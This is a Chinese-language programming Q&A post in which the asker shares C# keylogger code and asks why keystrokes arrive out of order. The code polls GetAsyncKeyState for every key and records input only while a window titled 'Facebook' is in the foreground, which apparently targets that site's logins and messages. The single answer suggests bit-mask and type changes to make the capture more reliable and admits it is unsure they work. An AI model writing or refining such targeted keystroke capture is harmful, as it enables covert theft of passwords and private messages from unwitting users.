GetAsyncKeyState无法以正确的顺序捕获密钥

Question

我有下面的代码，如果活动窗口标题包含“ Facebook”，它会捕获击键，但是，在测试时...我没有按到确切的按键顺序，而有些键却遗漏了...我该怎么办？该做些改进吗？

例如：如果我输入“ ALI”，我将得到“ AIL”打印输出

       [DllImport("user32.dll")]
    public static extern int GetAsyncKeyState(Int32 i);

    [DllImport("user32.dll")]
    private static extern IntPtr GetForegroundWindow();

    [DllImport("user32.dll")]
    static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);


    static void Main(string[] args)
    {

        while (true)
        {
            string WindowTitle = GetActiveWindowTitle();

            if (WindowTitle == null)
                return;

            if (WindowTitle.Contains("Facebook"))
            {
                for (int i = 0; i < 255; i++)
                {
                    int state = GetAsyncKeyState(i);

                    if (state == 1 || state == -32767)
                    {
                        Console.WriteLine((Keys)i);
                    }
                }

            }

            Thread.Sleep(1000);
        }
    }

    private static string GetActiveWindowTitle()
    {
        const int chars = 256;
        StringBuilder buff = new StringBuilder(chars);
        IntPtr handle = GetForegroundWindow();

        if (GetWindowText(handle, buff, chars) > 0)
        {
            return buff.ToString();
        }

        return null;
    }

Answer 1

更改这些：

   [DllImport("user32.dll")]
    public static extern ushort GetAsyncKeyState(Int32 i);

和

if ((state & 0x0001) != 0 || (state & 0x8000) != 0 )
{
    Console.WriteLine((Keys)i);
}

但不确定是否能正常工作？